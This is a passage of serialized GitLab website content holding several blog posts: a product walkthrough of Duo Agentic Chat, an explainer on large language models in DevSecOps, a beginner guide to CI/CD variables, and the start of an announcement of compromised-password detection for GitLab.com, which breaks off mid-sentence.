Duo Workflow architecture, which is [currently in private beta](https://about.gitlab.com/blog/gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai/). The architecture comprises agents and tools that take on specific tasks like finding the right context for a given question or editing files. \n\n**Use cases for GitLab Duo Agentic Chat**\n\nHere are some real-world and common use cases for Agentic Chat:\n\n* Onboard to new projects faster by having AI help you familiarize yourself with a new codebase.\n\n* Jump into assigned work immediately, even when issue descriptions are unclear, because Agentic Chat can help you connect the dots between requirements and existing implementations.\n\n* When it's time to make changes, Agentic Chat can handle the implementation work by creating and editing multiple files across your project.\n\n* At release time, Agentic Chat can help you verify that your solution actually addresses the original requirements by analyzing your merge requests against the initial issue or task.\n\n![agentic chat - example](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099210/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750099210429.png)\n\n\u003Ccenter>\u003Ci>Agentic Chat making code edits\u003C/i>\u003C/center>\n\n## From learning to shipping: A complete workflow demonstration in four steps\n\nTo show how Agentic Chat transforms the development experience, let's walk through a real scenario from our engineering teams. Imagine you're a new team member who's been assigned an issue but knows nothing about the codebase. You can follow along with this video demonstration:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/uG9-QLAJrrg?si=kaOhYylMIaWkIuG8j\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n**Step 1: Understand the project**\n\nInstead of manually exploring files and documentation, you can prompt Agentic Chat:\n\n```unset\nI am new to this project. Could you read the project structure and explain it to me?\n```\n\nAgentic Chat provides a comprehensive project overview by:  \n- Exploring the directory structure  \n- Reading README files and documentation  \n- Identifying key components and applications\n\n**Step 2: Understand your assigned task**\n\nNext, you need to understand your specific assignment, so you can enter this prompt:\n\n```unset\nI have been assigned Issue 1119. Could you help me understand this task, specifically where do I need to apply the refactoring?\n```\n\nAgentic Chat explains the task and proposes a refactoring approach by:\n- Retrieving and analyzing the issue details from the remote GitLab server  \n- Examining relevant project files  \n- Identifying the specific locations requiring changes\n\n**Step 3: Implement the solution**\n\nRather than doing the work manually, you can request:\n\n```unset\nCould you make the edits for me? Please start with steps one, two, three.\n```\n\nAgentic Chat then:  \n- Creates new directories and files as needed \n- Extracts and refactors code across multiple locations  \n- Ensures consistency across all modified files  \n- Provides a summary of all changes made\n\n**Step 4: Verify completion**\n\nFinally, after creating your merge request, you can verify your work:\n\n```unset\nDoes my MR fully address Issue 1119? \n```\n\nAgentic Chat confirms whether all requirements have been met by analyzing both your merge request and the original issue.\n\n## Try it today and share your feedback\n\nGitLab Duo Agentic Chat is currently available as an experimental feature in VS Code to all users on GitLab.com that have any one of these add-ons: Duo Core, Duo Pro, or Duo Enterprise. See our [setup documentation](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/) for prerequisites and configuration steps.\n\nAs an experimental feature, Agentic Chat has some known limitations we're actively addressing, including slower response times due to multiple API calls, keyword-based rather than semantic search, and limited support for new local folders or non-GitLab projects. **Your feedback is crucial in helping us prioritize improvements and bring Agentic Chat to general availability so please share your experience in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/542198).**\n\n## What's next?\n\nWe are fully focused on improving Agentic Chat, including bringing it to general availability. In the meantime, we are aiming to improve response times and are adding capabilities that GitLab Duo Chat currently has, such as using self-hosted models or supporting JetBrains and Visual Studio in addition to VS Code. Once we have switched Duo Chat to this new architecture we plan to also bring Agentic Chat to the chat in the GitLab web application. We also plan to add a lot more functionality, such as editing GitLab artifacts, supporting context from custom Model Context Protocol, or MCP, servers, and offering commands to run in the terminal.\n\n> Ready to experience autonomous development assistance but not yet a GitLab customer? Try Agentic Chat today as part of [a free, 60-day trial of GitLab Ultimate with Duo Enterprise](https://about.gitlab.com/free-trial/) and help shape the future of AI-powered development. Follow these [setup steps for VS Code](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/#use-agentic-chat-in-vs-code).\n>\n> And make sure to join the GitLab 18 virtual launch event to learn about our agentic AI plans and more. [Register today!](https://about.gitlab.com/eighteen/)\n\n***Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab.***\n\n## Learn more\n\n- [GitLab Duo Workflow: Enterprise visibility and control for agentic AI](https://about.gitlab.com/blog/gitlab-duo-workflow-enterprise-visibility-and-control-for-agentic-ai/)\n- [What is agentic AI?](https://about.gitlab.com/topics/agentic-ai/)\n- [Agentic AI guides and resources](https://about.gitlab.com/blog/agentic-ai-guides-and-resources/)\n",[790,736,754,479,695,696],{"slug":1347,"featured":92,"template":678},"gitlab-duo-chat-gets-agentic-ai-makeover","content:en-us:blog:gitlab-duo-chat-gets-agentic-ai-makeover.yml","Gitlab Duo Chat Gets Agentic Ai Makeover","en-us/blog/gitlab-duo-chat-gets-agentic-ai-makeover.yml","en-us/blog/gitlab-duo-chat-gets-agentic-ai-makeover",{"_path":1353,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1354,"content":1360,"config":1364,"_id":1366,"_type":16,"title":1367,"_source":17,"_file":1368,"_stem":1369,"_extension":20},"/en-us/blog/what-is-a-large-language-model-llm",{"title":1355,"description":1356,"ogTitle":1355,"ogDescription":1356,"noIndex":6,"ogImage":1357,"ogUrl":1358,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1358,"schema":1359},"What is a large language model (LLM)?","Learn how large language models work, their applications, and their impact on the DevSecOps world.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749660057/Blog/Hero%20Images/LLM.jpg","https://about.gitlab.com/blog/what-is-a-large-language-model-llm","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What is a large language model (LLM)?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Itzik Gan Baruch\"}],\n        \"datePublished\": \"2025-05-29\",\n      }",{"title":1355,"description":1356,"authors":1361,"heroImage":1357,"date":1343,"body":1362,"category":791,"tags":1363},[691],"Large language models (LLMs) are revolutionizing DevOps and DevSecOps approaches by simplifying complex tasks, such as code creation, log analysis, and vulnerability detection.\n\nIn this article, you will learn how LLMs work, their practical applications, and the main challenges to overcome in order to fully harness their potential.\n\n## What is an LLM?\n\nLLMs are artificial intelligence (AI) systems that can process and generate text autonomously. They are trained by analyzing vast amounts of data from a variety of sources, enabling them to master the linguistic structures, contextual relationships, and nuances of language.\n\nLLMs are a major breakthrough in the field of AI. Their ability to process, generate, and interpret text relies on sophisticated machine learning and natural language processing (NLP) techniques. These systems do not just process individual words; they analyze complex sequences to capture the overall meaning, subtle contexts, and linguistic nuances.\n\n## How do LLMs work?\n\nTo better understand how they work, let's explore some of the key features of large language models.\n\n### Supervised and unsupervised learning\n\nLLMs are trained using two complementary approaches: supervised learning and unsupervised learning. These two approaches to machine learning maximize their ability to analyze and generate text.\n\n* **Supervised learning** relies on labeled data, where each input is associated with an expected output. The model learns to associate these inputs with the correct outputs by adjusting its internal parameters to reduce prediction errors. Through this approach, the model acquires precise knowledge about specific tasks, such as text classification or named entity recognition.\n\n* **Unsupervised learning (or machine learning)**, on the other hand, does not require labeled data. The model explores large volumes of text to discover hidden structures and identify semantic relationships. The model is therefore able to learn recurring patterns, implicit grammatical rules in the text, and contextualization of sentences and concepts. This method allows LLMs to be trained on large corpora of data, greatly accelerating their progress without direct human action.\n\nBy combining these two approaches, large language models gain the advantages of both precise, human-guided learning and unlimited autonomous exploration. This complementarity allows them to develop rapidly, while continuously improving their ability to understand and generate text coherently and contextually.\n\n### Learning based on a large volume of data\n\nLLMs are trained on billions of sentences from a variety of sources, such as news articles, online forums, technical documentation, scientific studies, and more. This variety of sources allows them to acquire a broad and nuanced understanding of natural language, ranging from everyday expressions to specialized terminology.\n\nThe richness of the data used is a key factor in LLMs' performance. Each source brings different writing styles, cultural contexts, and levels of technicality. \n\nFor example:\n\n* **News articles** to master informative and factual language \n* **Online forums** to understand specialized communities' informal conversations and technical language  \n* **Technical documentation and scientific studies** to assimilate complex concepts and specific terminology, particularly in areas such as DevOps and DevSecOps\n\nThis diversity of content allows LLMs to recognize complex linguistic structures, interpret sentences in different contexts, and adapt to highly technical domains. In DevSecOps, this means understanding commands, configurations, security protocols, and even concepts related to the development and maintenance of computer systems.\n\nWith this large-scale training, LLMs can accurately answer complex questions, write technical documentation, or identify vulnerabilities in computer systems.\n\n### Neural network architecture and \"deep learning\"\n\nLLMs are based on advanced neural network architectures. These networks are specially designed to process large sequences of text while maintaining an accurate understanding of the context. This deep learning-based training is a major asset in the field of NLP.\n\nThe best-known of these structures is the architecture of sequence-to-sequence models (transformers). This architecture has revolutionized NLP with its ability to simultaneously analyze all parts of a text, unlike sequential approaches that process words one by one.\n\nSequence-to-sequence models excel at processing long texts. For example, in a conversation or a detailed technical document, they are able to link distant information in the text to produce precise and well-reasoned answers. This context management is essential in a DevSecOps approach, where instructions can be complex and spread over multiple lines of code or configuration steps.\n\n### Predictive text generation\n\nWhen the user submits a text, query, or question, an LLM uses its predictive ability to generate the most likely sequence, based on the context provided.\n\nThe model analyzes each word, studies grammatical and semantic relationships, and then selects the most suitable terms to produce a coherent and informative text. This approach makes it possible to generate precise, detailed responses adapted to the expected tone.\n\nIn DevSecOps environments, this capability becomes particularly useful for:\n\n* **Coding assistance:** generation of code blocks or scripts adapted to specific configurations\n* **Technical problem solving:** proposing solutions based on descriptions of bugs or errors\n* **Drafting technical documentation:** automatic creation of guides, manuals, or instructions\n\nPredictive text generation thus makes it possible to automate many repetitive tasks and speed up technical teams' work.\n\n## Applications of large language models in a DevSecOps approach\n\nWith the rise of automation, LLMs have become indispensable allies for technical teams. Their ability to understand and generate text contextually enables them to effectively operate in complex environments such as [DevSecOps](https://about.gitlab.com/topics/devsecops/).\n\nWith their analytical power and ability to adapt to specific needs, these models offer tailored solutions to streamline processes and lighten technical teams' workload.\n\nDevelopment teams can leverage LLMs to automatically transform functional specifications into source code. \n\nWith this capability, they can perform the following actions:\n- generate complex automation scripts\n- create CI/CD pipelines tailored to specific business processes\n- produce customized security patches\n- generate code explanation and create documentation\n- refactor code by improving code structure and readability without changing functionality\n- generate tests\n\nBy relying on LLMs, teams are able to accelerate the development of their software while reducing the risk of human error.\n\n### Improved documentation and knowledge sharing\n\nThese powerful tools make it easy to create customized user manuals, API descriptions, and tutorials that are perfectly tailored to each user's level of expertise. By leveraging existing knowledge bases, LLMs create contextual answers to frequently asked questions. This enhances knowledge sharing within teams, speeds up onboarding of new members, and helps centralize best practices.\n\n### Incident management and troubleshooting\nDuring an incident, LLMs play a crucial role in analyzing logs and [trace files](https://docs.gitlab.com/ee/development/tracing.html) in real time. Thanks to their ability to cross-reference information from multiple sources, they identify anomalies and propose solutions based on similar past incidents. This approach significantly reduces diagnosis time. In addition, LLMs can automate the creation of detailed incident reports and recommend specific corrective actions.\n\n### Creating and improving CI/CD pipelines\n\nLLMs are revolutionizing the configuration of [CI/CD pipelines](https://about.gitlab.com/topics/ci-cd/cicd-pipeline/). They can not only help create pipelines, but also automate this process and suggest optimal configurations based on industry standards. By adapting workflows to your specific needs, they ensure perfect consistency between different development environments. Automated testing is enhanced by relevant suggestions, limiting the risk of failure. LLMs also continuously monitor the efficiency of pipelines and adjust processes to ensure smooth and uninterrupted rollout.\n\n### Security and compliance\n\nIn a DevSecOps environment, large language models become valuable allies for security and compliance. They parse the source code for potential vulnerabilities and generate detailed patch recommendations. LLMs can also monitor the application of security standards in real time, produce comprehensive compliance reports, and automate the application of security patches as soon as a vulnerability is identified. This automation enhances overall security and ensures consistent compliance with legal and industry requirements.\n\n## What are the benefits of large language models?\n\nLLMs are radically reshaping DevOps and DevSecOps approaches, bringing substantial improvements in productivity, security, and software quality. By integrating with existing workflows, LLMs are disrupting traditional approaches by automating complex tasks and providing innovative solutions.\n\n### Improved productivity and efficiency\n\nLLMs play a central role in improving technical teams' productivity and efficiency. By automating a wide range of repetitive tasks, they free development teams from routine operations, allowing them to focus on strategic activities with higher added value.\n\nIn addition, LLMs act as intelligent technical assistants capable of instantly providing relevant code snippets, tailored to the specific context of each project. In this way, they significantly reduce research time by offering ready-to-use solutions to assist teams in their work. This targeted assistance speeds up problem solving and reduces disruptions in workflows.\nAs a result, productivity increases and projects move forward more quickly. Technical teams can take on more tasks without compromising the quality of deliverables.\n\n### Improved code quality and security\n\nThe use of large language models in software development is a major lever for improving both code quality and application security. With their advanced analytical capabilities, LLMs can scan source code line by line and instantly detect syntax errors, logical inconsistencies, and potential vulnerabilities. Their ability to recognize defective code allows them to recommend appropriate fixes that comply with industry best practices.\n\nLLMs also play a key preventive role. They excel at identifying complex security flaws that are often difficult for humans to detect. By analyzing dependencies, they can flag obsolete or vulnerable libraries and recommend more secure, up-to-date versions. This approach contributes to maintaining a secure environment that complies with current security standards.\n\nBeyond fixing existing errors, LLMs offer improvements by suggesting optimized coding practices and project structures. They can generate code that meets the most advanced security standards from the earliest stages of development.\n\n### Accelerating development lifecycles\n\nLarge language models play a key role in accelerating software development lifecycles by automating key tasks that would otherwise tie up valuable human resources. Complex and repetitive tasks, such as writing functions, creating unit tests, or implementing standard components, are automated in a matter of moments.\n\nLLMs also speed up the validation phase with their ability to suggest complete and appropriate test cases. They ensure broader test coverage in less time, reducing the risk of errors and enabling early detection of anomalies. This preventive approach shortens the correction cycle and limits delays related to code quality issues.\n\nBy simplifying technical tasks and providing fast and tailored solutions, large language models enable businesses to respond to market demands in a more agile way. This acceleration of the development lifecycle results in more frequent updates, faster iterations, and a better ability to adapt products to users' changing needs.\n\nDevelopment lifecycles are becoming shorter, providing a critical strategic advantage in an increasingly demanding technology landscape.\n\n## What are the challenges of using LLMs?\n\nDespite their many benefits, large language models have certain limitations that require careful management. Their effectiveness depends heavily on the quality of the data used during their training and regular updates to their knowledge bases. In addition, issues related to algorithmic bias, data security, and privacy can arise, exposing companies to operational and legal risks. Rigorous human oversight remains essential in order to ensure the reliability of results, maintain regulatory compliance, and prevent critical errors.\n\n### Data privacy and security\n\nTraining LLMs relies on large volumes of data, often from diverse sources, raising questions about the protection of confidential information. Sensitive data shared with cloud platforms can therefore be exposed to potential breaches. This is of particular concern to companies operating in regulated sectors. \n\nIn Europe, where strict regulations like GDPR govern data management, many companies are reluctant to transfer their information to external services. Regulatory requirements, coupled with the fear of unauthorized exploitation of sensitive data, have led some companies to opt for self-hosted solutions to maintain complete control over their systems.\n\nProviders like GitLab have put in place robust security guarantees, such as intentional non-retention of personal data and end-to-end encryption. However, this may not be enough for the most demanding customers, who prefer complete control of their environments. Implementing hybrid or on-premises solutions then becomes a strategic necessity to meet the security requirements of certain companies.\n\nLearn more about GitLab Duo Self-Hosted by clicking on the image below to access our product tour.\n\n[![GitLab Duo Self-Hosted tour](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673815/Blog/Content%20Images/Screenshot_2025-05-29_at_8.29.30%C3%A2__AM.png)](https://gitlab.navattic.com/gitlab-duo-self-hosted)\n\n### Accuracy and reliability\n\nAlthough large language models are capable of producing impressive results, their performance is not infallible. They can produce incorrect, incomplete, or inconsistent answers. This inaccuracy becomes particularly problematic in the context of critical tasks such as generating security code or analyzing sensitive data.\n\nIn addition, LLMs operate on the basis of probabilistic models, which means that they do not truly \"understand\" the content they process, but produce predictions based on statistical probabilities. This can lead to technically incorrect or even dangerous recommendations when used without human validation.\n\nTo avoid these pitfalls, it is essential to maintain constant oversight and establish rigorous validation processes. The results provided by LLMs must always be reviewed by humans before being integrated into critical systems.\n\nA strategy of regular model updates, combined with proactive human oversight, can reduce errors and gradually improve the reliability of results.\n\n## How GitLab uses LLMs for GitLab Duo features\n\n[GitLab Duo](https://about.gitlab.com/gitlab-duo/) harnesses the power of large language models to transform DevSecOps processes by integrating AI-powered capabilities throughout the software development lifecycle. This approach aims to improve productivity, strengthen security, and automate complex tasks so that development teams can focus on high added-value tasks.\n\n### AI-assisted software development\n\nGitLab Duo provides continuous support throughout the software development lifecycle with real-time recommendations. Development teams can automatically generate unit tests, get detailed explanations of complex code segments, and benefit from suggestions to improve the quality of their code.\n\n### Proactive CI/CD failure analysis\n\nOne of the key features of GitLab Duo is its assistance in analyzing CI/CD job failures. With LLM and AI, teams are able to quickly identify sources of errors in their continuous integration and deployment pipelines. \n\n### Enhanced code security\n\nGitLab Duo incorporates AI-based security features. The system detects vulnerabilities in the source code and proposes detailed patches to reduce the risks. Teams receive clear explanations of the nature of the vulnerabilities identified and can apply automated patches via [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/) generated directly by GitLab Duo. This feature helps secure development without slowing down development lifecycles.\n\nLearn more about GitLab Duo Vulnerability Explanation and Resolution by clicking on the image below to access our product tour.\n\n[![Vulnerability report interactive tour](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673816/Blog/Content%20Images/Screenshot_2025-05-29_at_8.32.15%C3%A2__AM.png)](https://gitlab.navattic.com/ve-vr-short)\n\n### Key features of GitLab Duo\n\n* [GitLab Duo Chat](https://about.gitlab.com/blog/10-best-practices-for-using-ai-powered-gitlab-duo-chat/): This conversational feature processes and generates text and code intuitively. It allows users to quickly search for relevant information in large volumes of text, including in tickets, [epics](https://docs.gitlab.com/ee/user/group/epics/), source code, and [GitLab documentation](https://docs.gitlab.com/).\n\n* [GitLab Duo Self-Hosted](https://about.gitlab.com/blog/gitlab-duo-self-hosted-enterprise-ai-built-for-data-privacy/): GitLab Duo Self-Hosted allows companies with strict data privacy requirements to benefit from GitLab Duo's AI capabilities with flexibility in choosing deployment and LLMs from a list of supported options.\n\n* [GitLab Duo Code Suggestions](https://about.gitlab.com/direction/create/code_creation/code_suggestions/): Development teams benefit from automated code suggestions, allowing them to write secure code faster. Repetitive and routine coding tasks are automated, significantly speeding up software development lifecycles.\n\nGitLab Duo is not limited to these features. It offers a wide range of features designed to simplify and optimize software development. Whether it's automating testing, improving collaboration between teams, or strengthening project security, GitLab Duo is a complete solution for smart and efficient DevSecOps processes.\n\nLearn more about GitLab Duo Enterprise by clicking on the image below to access our product tour. \n\n[![GitLab Duo Enterprise interactive tour](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673816/Blog/Content%20Images/Screenshot_2025-05-29_at_8.33.40%C3%A2__AM.png)](https://gitlab.navattic.com/duo-enterprise)",[790,943],{"slug":1365,"featured":6,"template":678},"what-is-a-large-language-model-llm","content:en-us:blog:what-is-a-large-language-model-llm.yml","What Is A Large Language Model Llm","en-us/blog/what-is-a-large-language-model-llm.yml","en-us/blog/what-is-a-large-language-model-llm",{"_path":1371,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1372,"content":1378,"config":1386,"_id":1388,"_type":16,"title":1389,"_source":17,"_file":1390,"_stem":1391,"_extension":20},"/en-us/blog/getting-started-with-gitlab-working-with-ci-cd-variables",{"title":1373,"description":1374,"ogTitle":1373,"ogDescription":1374,"noIndex":6,"ogImage":1375,"ogUrl":1376,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1376,"schema":1377},"Getting started with GitLab: Working with CI/CD variables","Learn what CI/CD variables are, why they are important in DevSecOps, and best practices for utilizing them.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659525/Blog/Hero%20Images/blog-getting-started-with-gitlab-banner-0497-option4-fy25.png","https://about.gitlab.com/blog/getting-started-with-gitlab-working-with-ci-cd-variables","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Getting started with GitLab: Working with CI/CD variables\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Team\"}],\n        \"datePublished\": \"2025-05-27\",\n      }",{"title":1373,"description":1374,"authors":1379,"heroImage":1375,"date":1381,"body":1382,"category":695,"tags":1383},[1380],"GitLab Team","2025-05-27","*Welcome to our \"Getting started with GitLab\" series, where we help newcomers get familiar with the GitLab DevSecOps platform.*\n\nIn an earlier article, we explored [GitLab CI/CD](https://about.gitlab.com/blog/getting-started-with-gitlab-understanding-ci-cd/). Now, let's dive deeper into the world of **CI/CD variables** and unlock their full potential.\n\n### What are CI/CD variables?\n\nCI/CD variables are dynamic key-value pairs that you can define at different levels within your GitLab environment (e.g., project, group, or instance). These variables act as placeholders for values that you can use in your `.gitlab-ci.yml` file to customize your pipelines, securely store sensitive information, and make your CI/CD configuration more maintainable.\n\n### Why are CI/CD variables important?\n\nCI/CD variables offer numerous benefits:\n\n* **Flexibility** - Easily adapt your pipelines to different environments, configurations, or deployment targets without modifying your core CI/CD script.  \n* **Security** - Securely store sensitive information like API keys, passwords, and tokens, preventing them from being exposed directly in your code.  \n* **Maintainability** - Keep your CI/CD configuration clean and organized by centralizing values in variables, making updates and modifications easier.  \n* **Reusability** - Define variables once and reuse them across multiple projects, promoting consistency and reducing duplication.\n\n### Scopes of CI/CD variables: Project, group, and instance\n\nGitLab allows you to define CI/CD variables with different scopes, controlling their visibility and accessibility:\n\n* **Project-level variables** - These variables are specific to a single project and are ideal for storing project-specific settings, such as:\n  * Deployment URLs: Define different URLs for staging and production environments.  \n  * Database credentials: Store database connection details for testing or deployment.  \n  * Feature flags: Enable or disable features during different stages of your pipeline.  \n  * Example: You have a project called \"MyWebApp\" and want to store the production deployment URL. You create a project-level variable named `DPROD_DEPLOY_URL` with the value `https://mywebapp.com`.  \n* **Group-level variables** - These variables are shared across all projects within a GitLab group. They are useful for settings that are common to multiple projects, such as:\n\n  * API keys for shared services: Store API keys for services like AWS, Google Cloud, or Docker Hub that are used by multiple projects within the group.  \n  * Global configuration settings: Define common configuration parameters that apply to all projects in the group.  \n  * Example: You have a group called \"Web Apps\" and want to store an API key for Docker Hub. You create a group-level variable named `DOCKER_HUB_API_KEY` with the corresponding API key value.  \n* **Instance-level variables** - These variables are available to all projects on a GitLab instance. They are typically used for global settings that apply across an entire organization such as:\n\n  * Default runner registration token: Provide a default token for registering new [runners](https://docs.gitlab.com/runner/).  \n  * License information: Store license keys for GitLab features or third-party tools.  \n  * Global environment settings: Define environment variables that should be available to all projects.  \n  * Example: You want to set a default Docker image for all projects on your GitLab instance. You create an instance-level variable named `DEFAULT_DOCKER_IMAGE` with the value `ubuntu:latest`.\n\n### Defining CI/CD variables\n\nTo define a CI/CD variable:\n\n1. Click on the **Settings > CI/CD** buttons for  your project, group, or instance.  \n2. Go to the **Variables** section.  \n3. Click **Add variable**.  \n4. Enter the **key** (e.g., `API_KEY`) and **value**.  \n5. Optionally, check the **Protect variable** box for sensitive information. This ensures that the variable is only available to pipelines running on protected branches or tags.  \n6. Optionally, check the **Mask variable** box to hide the variable's value from job logs, preventing accidental exposure.  \n7. Click **Save variable**.\n\n### Using CI/CD variables\n\nTo use a CI/CD variable in your `.gitlab-ci.yml` file, simply prefix the variable name with `$`:\n\n```yaml\ndeploy_job:\n  script:\n    - echo \"Deploying to production...\"\n    - curl -H \"Authorization: Bearer $API_KEY\" https://api.example.com/deploy\n```\n\n### Predefined CI/CD variables\n\nGitLab provides a set of [predefined CI/CD variables](https://docs.gitlab.com/ci/variables/predefined_variables/) that you can use in your pipelines. These variables provide information about the current pipeline, job, project, and more.\n\nSome commonly used predefined variables include:\n\n* `$CI_COMMIT_SHA`: The commit SHA of the current pipeline.  \n* `$CI_PROJECT_DIR`: The directory where the project is cloned.  \n* `$CI_PIPELINE_ID`: The ID of the current pipeline.  \n* `$CI_ENVIRONMENT_NAME`: The name of the environment being deployed to (if applicable).\n\n### Best practices\n\n* Securely manage sensitive variables: Use protected and masked variables for API keys, passwords, and other sensitive information.  \n* Avoid hardcoding values: Use variables to store configuration values, making your pipelines more flexible and maintainable.  \n* Organize your variables: Use descriptive names and group related variables together for better organization.  \n* Use the appropriate scope: Choose the correct scope (project, group, or instance) for your variables based on their intended use and visibility.\n\n### Unlock the power of variables\n\nCI/CD variables are a powerful tool for customizing and securing your GitLab pipelines. By mastering variables and understanding their different scopes, you can create more flexible, maintainable, and efficient workflows.\n\nWe hope you found it helpful and are now well-equipped to leverage the power of GitLab for your development projects.\n\n> Get started with CI/CD variables today with a [free, 60-day trial of GitLab Ultimate with Duo Enterprise](https://about.gitlab.com/free-trial/).\n\n## \"Getting Started with GitLab\" series\nRead more articles in our \"Getting Started with GitLab\" series:\n\n- [How to manage users](https://about.gitlab.com/blog/getting-started-with-gitlab-how-to-manage-users/)\n-  [How to import your projects to GitLab](https://about.gitlab.com/blog/getting-started-with-gitlab-how-to-import-your-projects-to-gitlab/)  \n- [Mastering project management](https://about.gitlab.com/blog/getting-started-with-gitlab-mastering-project-management/)\n- [Automating Agile workflows with the gitlab-triage gem](https://about.gitlab.com/blog/automating-agile-workflows-with-the-gitlab-triage-gem/)\n- [Understanding CI/CD](https://about.gitlab.com/blog/getting-started-with-gitlab-understanding-ci-cd/)\n",[695,696,1384,1385,110,754],"CI","CD",{"slug":1387,"featured":92,"template":678},"getting-started-with-gitlab-working-with-ci-cd-variables","content:en-us:blog:getting-started-with-gitlab-working-with-ci-cd-variables.yml","Getting Started With Gitlab Working With Ci Cd Variables","en-us/blog/getting-started-with-gitlab-working-with-ci-cd-variables.yml","en-us/blog/getting-started-with-gitlab-working-with-ci-cd-variables",{"_path":1393,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1394,"content":1400,"config":1407,"_id":1409,"_type":16,"title":1410,"_source":17,"_file":1411,"_stem":1412,"_extension":20},"/en-us/blog/introducing-compromised-password-detection-for-gitlab-com",{"title":1395,"description":1396,"ogTitle":1395,"ogDescription":1396,"noIndex":6,"ogImage":1397,"ogUrl":1398,"ogSiteName":1180,"ogType":1181,"canonicalUrls":1398,"schema":1399},"Introducing compromised password detection for GitLab.com","GitLab is adding compromised password detection on June 19, 2025. After that date, users logging in with known compromised passwords will be warned.  Here is what you need to know.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097341/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%287%29_6QBUJnfaq500YYVKVDlxK7_1750097340425.png","https://about.gitlab.com/blog/introducing-compromised-password-detection-for-gitlab-com","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing compromised password detection for GitLab.com\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ruby Nealon\"},{\"@type\":\"Person\",\"name\":\"Matt Coons\"}],\n        \"datePublished\": \"2025-05-22\",\n      }",{"title":1395,"description":1396,"authors":1401,"heroImage":1397,"date":1404,"body":1405,"category":674,"tags":1406},[1402,1403],"Ruby Nealon","Matt Coons","2025-05-22","Data breaches have become more common than ever. [According to a recent report by the Identity Theft Resource Center](https://www.idtheftcenter.org/publication/2024-data-breach-report/), over 2,800 data breaches occurred in 2024 alone, with over 1 billion victim notices sent by compromised organizations. Often, these breaches result in the exposure of credentials – usernames, emails, and passwords – in plain text, either directly or with insufficient protection against conversion to plain text. These compromised or stolen credentials are actively and widely leveraged by attackers, too. [Verizon’s 2024 Data Breach Investigations Report](https://www.verizon.com/business/resources/reports/2024-dbir-data-breach-investigations-report.pdf) identified use of stolen credentials as the initial action in 24% of breaches, ranking it as their top initial action. \n\nGitLab.com stores your password securely, salted and hashed with bcrypt. Your password goes through a one-way hashing transformation before storage, securing your password and ensuring it is not possible to extract the original password from storage. The representation is also unique: Even if two users shared the same password, the results of the one-way transformations would be completely different. However, these safeguards intentionally make it impractical to identify all users with a compromised or otherwise weak password.\n\n__Starting on June 19, 2025, GitLab will be introduce compromised password detection during sign-in for all GitLab.com users.__ This works by securely comparing the password you log in with against a database of known compromised credentials during authentication. If the password is correct but matches known compromised credentials, you will be alerted with a banner on GitLab.com and you will be sent an email notification until you change your password. \n\n***Note:** Compromised password detection is only for logins using GitLab’s native username and password and does not apply to credentials used through SSO.*\n\nExample compromised password warning banner: \n\n![Example Compromised Password Warning Banner](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097349/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097348674.png)\n\nWe’re excited to introduce this additional countermeasure to help ensure your account is secure. We also encourage users to take these additional preventive actions to maintain the security of your account(s): \n\n1. [**Use a strong password unique to your GitLab.com account.**](https://docs.gitlab.com/user/profile/user_passwords/#change-a-known-password)\nGitLab [disallows weak passwords](https://docs.gitlab.com/user/profile/user_passwords/#block-weak-passwords) that are considered compromised or that contain part of your name, email address, or predictable words. We strongly recommend using a password manager like [1Password](https://1password.com/), [Google Password Manager](https://passwords.google.com/), or [Apple Passwords](https://support.apple.com/en-us/120758), as well.  \n3. [**Set up two-factor authentication for your GitLab.com account.**](https://docs.gitlab.com/user/profile/account/two_factor_authentication/#enable-two-factor-authentication)\nGitLab supports time-based, one-time password applications, like [Google Authenticator](https://support.google.com/accounts/answer/1066447?hl=en&co=GENIE.Platform%3DAndroid) and WebAuthn, with a [PIN/fingerprint](https://support.google.com/chromebook/answer/10364515?hl=en) or a [hardware security key](https://www.yubico.com/jp/product/security-key-series/security-key-nfc-by-yubico-black/).   \n5. **Prevent yourself from getting locked out of your account.**\n[Change your primary email address](https://docs.gitlab.com/user/profile/#change-your-primary-email) if you no longer have access, and [ensure you have recovery codes](https://docs.gitlab.com/user/profile/account/two_factor_authentication/#recovery-codes) in case your two-factor authentication device is lost or stolen. Also, consider [setting up an alternative method for two-factor authentication](https://docs.gitlab.com/user/profile/account/two_factor_authentication/#set-up-a-webauthn-device).  \n8. **Stay aware of new risks.**\nRegister with a service like [haveibeenpwned.com](http://haveibeenpwned.com) to receive an email notification if your email address appears in a newly disclosed breach. This service is free to use and requires only your email address at registration.\n\n> To learn more about trust and security measures on GitLab.com, visit the [GitLab security 